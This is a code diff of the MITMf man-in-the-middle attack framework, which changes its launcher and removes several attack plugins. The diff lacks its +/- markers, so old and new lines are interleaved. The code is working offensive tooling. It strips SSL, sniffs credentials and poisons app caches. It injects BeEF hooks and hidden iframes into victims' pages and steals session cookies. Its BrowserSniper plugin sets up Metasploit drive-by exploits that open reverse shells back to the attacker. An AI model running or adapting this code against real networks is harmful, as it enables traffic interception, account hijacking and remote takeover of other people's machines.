@ -18,158 +18,102 @@
# USA
#
import logging
import argparse
import sys
import os
import logging
import threading
from twisted.web import http
from twisted.internet import reactor
from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.utils import Banners, SystemConfig, shutdown
from core.logger import logger
from plugins import *
Banners().printBanner()
print Banners().get_banner()
if os.geteuid() != 0:
sys.exit("[-] When man-in-the-middle you want, run as r00t you will, hmm?")
sys.exit("[-] The derp is strong with this one")
mitmf_version = "0.9.7"
sslstrip_version = "0.9"
sergio_version = "0.2.1"
parser = argparse.ArgumentParser(description="MITMf v{} - Framework for MITM attacks".format(mitmf_version), version=mitmf_version, usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
parser = argparse.ArgumentParser(description="MITMf v0.9.8 - 'The Dark Side'", version="0.9.8 - 'The Dark Side'", usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.")
#add MITMf options
mgroup = parser.add_argument_group("MITMf", "Options for MITMf")
mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on")
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.conf", metavar='configfile', help="Specify config file to use")
mgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
mgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
#add sslstrip options
#Add sslstrip options
sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library")
slogopts = sgroup.add_mutually_exclusive_group()
slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)")
slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.")
slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.")
sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
#Initialize plugins
plugin_classes = plugin.Plugin.__subclasses__()
#Initialize plugins and pass them the parser NameSpace object
plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()]
plugins = []
try:
for p in plugin_classes:
plugins.append(p())
except Exception as e:
print "[-] Failed to load plugin class {}: {}".format(p, e)
arg_dict = dict() #dict containing a plugin's optname with it's relative options
#Give subgroup to each plugin with options
try:
for p in plugins:
if p.desc == "":
sgroup = parser.add_argument_group(p.name,"Options for {}.".format(p.name))
else:
sgroup = parser.add_argument_group(p.name, p.desc)
sgroup.add_argument("--{}".format(p.optname), action="store_true",help="Load plugin {}".format(p.name))
if p.has_opts:
p.pluginOptions(sgroup)
arg_dict[p.optname] = vars(sgroup)['_group_actions']
except NotImplementedError:
sys.exit("[-] {} plugin claimed option support, but didn't have it.".format(p.name))
if len(sys.argv) is 1:
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
options = parser.parse_args()
# Definitely a better way to do this, will need to clean this up in the future
# Checks to see if we called a plugin's options without first invoking the actual plugin
for plugin, options in arg_dict.iteritems():
if vars(args)[plugin] is False:
for option in options:
if vars(args)[option.dest]:
sys.exit("[-] Called plugin options without invoking the actual plugin (--{})".format(plugin))
#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
options.ip = SystemConfig.getIP(options.interface)
options.mac = SystemConfig.getMAC(options.interface)
#check to see if we supplied a valid interface
myip = SystemConfig.getIP(args.interface)
mymac = SystemConfig.getMAC(args.interface)
#Set the log level
logger().log_level = logging.__dict__[options.log_level.upper()]
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger('mitmf', formatter)
#Start logging
log_level = logging.__dict__[args.log_level.upper()]
logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
mitmf_logger = logging.getLogger('mitmf')
fileHandler = logging.FileHandler("./logs/mitmf.log")
fileHandler.setFormatter(logFormatter)
mitmf_logger.addHandler(fileHandler)
#####################################################################################################
#All our options should be loaded now, initialize the plugins
print "[*] MITMf v{} online... initializing plugins".format(mitmf_version)
for p in plugins:
#load only the plugins that have been called at the command line
if vars(args)[p.optname] is True:
print "|_ {} v{}".format(p.name, p.version)
if p.tree_info:
for line in xrange(0, len(p.tree_info)):
print "| |_ {}".format(p.tree_info.pop())
p.initialize(args)
if p.tree_info:
for line in xrange(0, len(p.tree_info)):
print "| |_ {}".format(p.tree_info.pop())
ProxyPlugins.getInstance().addPlugin(p)
#Plugins are ready to go, let's rock & roll
from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
CookieCleaner.getInstance().setEnabled(args.killsessions)
URLMonitor.getInstance().setFaviconSpoofing(options.favicon)
CookieCleaner.getInstance().setEnabled(options.killsessions)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(args.listen, strippingFactory)
reactor.listenTCP(options.listen_port, strippingFactory)
for p in ProxyPlugins.getInstance().plist:
#All our options should be loaded now, start initializing the plugins
print "[*] MITMf v0.9.8 - 'The Dark Side'"
for plugin in plugins:
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
p.startConfigWatch()
#load only the plugins that have been called at the command line
if vars(options)[plugin.optname] is True:
if hasattr(p, 'startThread'):
t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread)
t.setDaemon(True)
t.start()
print "|_ {} v{}".format(plugin.name, plugin.version)
if plugin.tree_info:
for line in xrange(0, len(plugin.tree_info)):
print "| |_ {}".format(plugin.tree_info.pop())
plugin.initialize(options)
if plugin.tree_info:
for line in xrange(0, len(plugin.tree_info)):
print "| |_ {}".format(plugin.tree_info.pop())
ProxyPlugins.getInstance().addPlugin(plugin)
plugin.reactor(strippingFactory)
plugin.setup_logger()
plugin.start_config_watch()
print "|"
print "|_ Sergio-Proxy v{} online".format(sergio_version)
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)
print "|_ Sergio-Proxy v0.2.1 online"
print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
#Start Net-Creds
from core.netcreds.NetCreds import NetCreds
NetCreds().start(args.interface, myip)
NetCreds().start(options.interface)
print "|_ Net-Creds v{} online".format(NetCreds.version)
#Start DNSChef
@ -184,8 +128,8 @@ print "|_ DNSChef v{} online".format(DNSChef.version)
#Start the SMB server
from core.servers.smb.SMBserver import SMBserver
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
SMBserver.getInstance().start()
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
#start the reactor
reactor.run()

0
other_setup.sh Normal file → Executable file
View file

View file

@ -1,203 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import re
import os.path
import time
import sys
from datetime import date
from plugins.plugin import Plugin
from core.sslstrip.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger("mitmf")
class AppCachePlugin(Plugin):
name = "AppCachePoison"
optname = "appoison"
desc = "Performs App Cache Poisoning attacks"
version = "0.3"
has_opts = False
def initialize(self, options):
self.options = options
self.mass_poisoned_browsers = []
self.urlMonitor = URLMonitor.getInstance()
self.urlMonitor.setAppCachePoisoning()
def serverResponse(self, response, request, data):
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
url = request.client.uri
req_headers = request.client.getAllHeaders()
headers = request.client.responseHeaders
ip = request.client.getClientIP()
#########################################################################
if "enable_only_in_useragents" in self.app_config:
regexp = self.app_config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
return {'response': response, 'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
(name,s,element,url) = self.getSectionForUrls(urls)
if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return {'response': response, 'request': request, 'data': data}
mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
p = self.getTemplatePrefix(s)
if element == 'tamper':
mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to body
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
# add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
mitmf_logger.info("{} [{}] Poisoning manifest URL".format(ip, self.name))
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
mitmf_logger.info("{} [{}] Poisoning raw URL".format(ip, self.name))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to response body
data += appendix
self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return {'response': response, 'request': request, 'data': data}
def tryMassPoison(self, url, data, headers, req_headers, ip):
browser_id = ip + req_headers.get("user-agent", "")
if not 'mass_poison_url_match' in self.app_config: # no url
return data
if browser_id in self.mass_poisoned_browsers: #already poisoned
return data
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
return data
if 'mass_poison_useragent_match' in self.app_config and not "user-agent" in req_headers:
return data
if not re.search(self.app_config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
return data
if not re.search(self.app_config['mass_poison_url_match'], url): #different url
return data
mitmf_logger.debug("[{}] Adding AppCache mass poison for URL {}, id {}".format(self.name, url, browser_id))
appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
return data
def getMassPoisonHtml(self):
html = "<div style=\"position:absolute;left:-100px\">"
for i in self.app_config:
if isinstance(self.app_config[i], dict):
if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False):
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.app_config[i]['tamper_url'] + "\"></iframe>"
return html + "</div>"
def cacheForFuture(self, headers):
ten_years = 315569260
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
in_ten_years = date.fromtimestamp(time.time() + ten_years)
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
def removeDangerousHeaders(self, headers):
headers.removeHeader("X-Frame-Options")
def getSpoofedManifest(self, url, section):
p = self.getTemplatePrefix(section)
if not os.path.exists(p+'.manifest'):
p = self.getDefaultTemplatePrefix()
f = open(p + '.manifest', 'r')
manifest = f.read()
f.close()
return self.decorate(manifest, section)
def decorate(self, content, section):
for i in section:
content = content.replace("%%"+i+"%%", section[i])
return content
def getTemplatePrefix(self, section):
if section.has_key('templates'):
return self.app_config['templates_path'] + '/' + section['templates']
return self.getDefaultTemplatePrefix()
def getDefaultTemplatePrefix(self):
return self.app_config['templates_path'] + '/default'
def getManifestUrl(self, section):
return section.get("manifest_url",'/robots.txt')
def getSectionForUrls(self, urls):
for url in urls:
for i in self.app_config:
if isinstance(self.app_config[i], dict): #section
section = self.app_config[i]
name = i
if section.get('tamper_url',False) == url:
return (name, section, 'tamper',url)
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
return (name, section, 'tamper',url)
if section.get('manifest_url',False) == url:
return (name, section, 'manifest',url)
if section.get('raw_url',False) == url:
return (name, section, 'raw',url)
return (None, False,'',urls.copy().pop())

View file

@ -1,122 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import sys
import json
import threading
from time import sleep
from core.beefapi import BeefAPI
from core.utils import SystemConfig, shutdown
from plugins.plugin import Plugin
from plugins.Inject import Inject
mitmf_logger = logging.getLogger("mitmf")
class BeefAutorun(Inject, Plugin):
name = "BeEFAutorun"
optname = "beefauto"
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
version = "0.3"
has_opts = False
def initialize(self, options):
self.options = options
self.ip_address = SystemConfig.getIP(options.interface)
Inject.initialize(self, options)
self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode']))
beefconfig = self.config['MITMf']['BeEF']
self.html_payload = '<script type="text/javascript" src="http://{}:{}/hook.js"></script>'.format(self.ip_address, beefconfig['beefport'])
self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
if not self.beef.login(beefconfig['user'], beefconfig['pass']):
shutdown("[BeEFAutorun] Error logging in to BeEF!")
def startThread(self):
self.autorun()
def onConfigChange(self):
self.initialize(self.options)
def autorun(self):
already_ran = []
already_hooked = []
while True:
mode = self.config['BeEFAutorun']['mode']
for hook in self.beef.hooked_browsers.online:
if hook.session not in already_hooked:
mitmf_logger.info("{} [BeEFAutorun] Joined the horde! [id:{}, type:{}-{}, os:{}]".format(hook.ip, hook.id, hook.name, hook.version, hook.os))
already_hooked.append(hook.session)
self.black_ips.append(hook.ip)
if mode == 'oneshot':
if hook.session not in already_ran:
self.execModules(hook)
already_ran.append(hook.session)
elif mode == 'loop':
self.execModules(hook)
sleep(10)
sleep(1)
def execModules(self, hook):
all_modules = self.config['BeEFAutorun']["ALL"]
targeted_modules = self.config['BeEFAutorun']["targets"]
if all_modules:
mitmf_logger.info("{} [BeEFAutorun] Sending generic modules".format(hook.ip))
for module, options in all_modules.iteritems():
for m in self.beef.modules.findbyname(module):
resp = m.run(hook.session, json.loads(options))
if resp["success"] == 'true':
mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id))
else:
mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id))
sleep(0.5)
if (hook.name and hook.os):
for os in targeted_modules:
if (os == hook.os) or (os in hook.os):
mitmf_logger.info("{} [BeEFAutorun] Sending targeted modules".format(hook.ip))
for browser in targeted_modules[os]:
if browser == hook.name:
for module, options in targeted_modules[os][browser].iteritems():
for m in self.beef.modules.findbyname(module):
resp = m.run(hook.session, json.loads(options))
if resp["success"] == 'true':
mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id))
else:
mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id))
sleep(0.5)

View file

@ -1,65 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
from pprint import pformat
from plugins.plugin import Plugin
from plugins.Inject import Inject
mitmf_logger = logging.getLogger("mitmf")
class BrowserProfiler(Inject, Plugin):
name = "BrowserProfiler"
optname = "browserprofiler"
desc = "Attempts to enumerate all browser plugins of connected clients"
version = "0.3"
has_opts = False
def initialize(self, options):
self.output = {} # so other plugins can access the results
Inject.initialize(self, options)
self.html_payload = self.get_payload()
def post2dict(self, post): #converts the ajax post to a dic
d = dict()
for line in post.split('&'):
t = line.split('=')
d[t[0]] = t[1]
return d
def clientRequest(self, request):
#Handle the plugin output
if 'clientprfl' in request.uri:
request.printPostData = False
self.output = self.post2dict(request.postData)
self.output['ip'] = request.client.getClientIP()
self.output['useragent'] = request.clientInfo
if self.output['plugin_list']:
self.output['plugin_list'] = self.output['plugin_list'].split(',')
pretty_output = pformat(self.output)
mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output))
def get_payload(self):
plugindetect = open("./core/javascript/plugindetect.js", 'r').read()
return '<script type="text/javascript">' + plugindetect + '</script>'

View file

@ -1,194 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import string
import random
import logging
from time import sleep
from core.msfrpc import Msf
from core.utils import SystemConfig, shutdown
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
mitmf_logger = logging.getLogger("mitmf")
class BrowserSniper(BrowserProfiler, Plugin):
name = "BrowserSniper"
optname = "browsersniper"
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
version = "0.4"
has_opts = False
def initialize(self, options):
self.options = options
self.msfip = SystemConfig.getIP(options.interface)
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
#Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options)
msfversion = Msf().version()
self.tree_info.append("Connected to Metasploit v{}".format(msfversion))
def startThread(self):
self.snipe()
def onConfigChange(self):
self.initialize(self.options)
def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
def _getRandPort(self):
return random.randint(1000, 65535)
def _setupExploit(self, exploit, msfport):
rand_url = self._genRandURL()
rand_port = self._getRandPort()
#generate the command string to send to the virtual console
#new line character very important as it simulates a user pressing enter
cmd = "use exploit/{}\n".format(exploit)
cmd += "set SRVPORT {}\n".format(msfport)
cmd += "set URIPATH {}\n".format(rand_url)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
cmd += "set LHOST {}\n".format(self.msfip)
cmd += "set LPORT {}\n".format(rand_port)
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
Msf().sendcommand(cmd)
return (rand_url, rand_port)
def _compat_system(self, os_config, brw_config):
os = self.output['useragent'][0].lower()
browser = self.output['useragent'][1].lower()
if (os_config == 'any') and (brw_config == 'any'):
return True
if (os_config == 'any') and (brw_config in browser):
return True
if (os_config in os) and (brw_config == 'any'):
return True
if (os_config in os) and (brw_config in browser):
return True
return False
def getExploits(self):
exploits = list()
vic_ip = self.output['ip']
#First get the client's info
java = None
if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'):
java = self.output['java_version']
flash = None
if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'):
flash = self.output['flash_version']
mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash))
for exploit, details in self.config['BrowserSniper'].iteritems():
if self._compat_system(details['OS'].lower(), details['Browser'].lower()):
if details['Type'].lower() == 'browservuln':
exploits.append(exploit)
elif details['Type'].lower() == 'pluginvuln':
if details['Plugin'].lower() == 'java':
if (java is not None) and (java in details['PluginVersions']):
exploits.append(exploit)
elif details['Plugin'].lower() == 'flash':
if (flash is not None) and (flash in details['PluginVersions']):
exploits.append(exploit)
mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits))
return exploits
def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe
mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip))
self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
#Will also make sure the shell actually came from the box that we targeted
mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip))
poll_n = 1
msf = Msf()
while poll_n != 30:
if msf.sessionsfrompeer(ip):
mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
self.sploited_ips.append(ip)
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
return
poll_n += 1
sleep(2)
mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def snipe(self):
while True:
if self.output:
vic_ip = self.output['ip']
msfport = self.config['MITMf']['Metasploit']['msfport']
exploits = self.getExploits()
if not exploits:
if vic_ip not in self.sploited_ips:
mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip))
self.sploited_ips.append(vic_ip)
self.black_ips = self.sploited_ips
elif exploits and (vic_ip not in self.sploited_ips):
mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
inject_payload = ''
msf = Msf()
for exploit in exploits:
pid = msf.findpid(exploit)
if pid:
mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
url = msf.jobinfo(pid)['uripath'] #get the url assigned to the exploit
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, msfport, url)
else:
url, port = self._setupExploit(exploit, msfport)
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
self.injectAndPoll(vic_ip, inject_payload)
sleep(1)

View file

@ -1,45 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
from plugins.plugin import Plugin
mitmf_logger = logging.getLogger("mitmf")
class CacheKill(Plugin):
name = "CacheKill"
optname = "cachekill"
desc = "Kills page caching by modifying headers"
version = "0.1"
def initialize(self, options):
self.bad_headers = ['if-none-match', 'if-modified-since']
def serverHeaders(self, response, request):
'''Handles all response headers'''
response.headers['Expires'] = "0"
response.headers['Cache-Control'] = "no-cache"
def clientRequest(self, request):
'''Handles outgoing request'''
request.headers['pragma'] = 'no-cache'
for header in self.bad_headers:
if header in request.headers:
del request.headers[header]

View file

@ -1,105 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import ast
import sys
from datetime import datetime
from plugins.plugin import Plugin
from twisted.internet import reactor
from twisted.web import http
from twisted.internet import reactor
from core.utils import shutdown
from core.ferretng.FerretProxy import FerretProxy
from core.ferretng.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger("mitmf")
class FerretNG(Plugin):
name = "Ferret-NG"
optname = "ferretng"
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
version = "0.1"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.ferret_port = 10010 or options.ferret_port
self.cookie_file = None
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
if options.cookie_file:
self.tree_info.append('Loading cookies from log file')
try:
with open(options.cookie_file, 'r') as cookie_file:
self.cookie_file = ast.literal_eval(cookie_file.read())
URLMonitor.getInstance().cookies = self.cookie_file
cookie_file.close()
except Exception as e:
shutdown("[-] Error loading cookie log file: {}".format(e))
self.tree_info.append("Listening on port {}".format(self.ferret_port))
def onConfigChange(self):
mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
def clientRequest(self, request):
if 'cookie' in request.headers:
host = request.headers['host']
cookie = request.headers['cookie']
client = request.client.getClientIP()
if client not in URLMonitor.getInstance().cookies:
URLMonitor.getInstance().cookies[client] = []
for entry in URLMonitor.getInstance().cookies[client]:
if host == entry['host']:
mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host))
entry['host'] = host
entry['cookie'] = cookie
return
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
def pluginReactor(self, StrippingProxy):
FerretFactory = http.HTTPFactory(timeout=10)
FerretFactory.protocol = FerretProxy
reactor.listenTCP(self.ferret_port, FerretFactory)
def pluginOptions(self, options):
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)')
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file')
def finish(self):
if not URLMonitor.getInstance().cookies:
return
if self.cookie_file == URLMonitor.getInstance().cookies:
return
mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
cookie_file.write(str(URLMonitor.getInstance().cookies))
cookie_file.close()

View file

@ -1,640 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
#
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
#
# Copyright (c) 2013-2014, Joshua Pitts
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
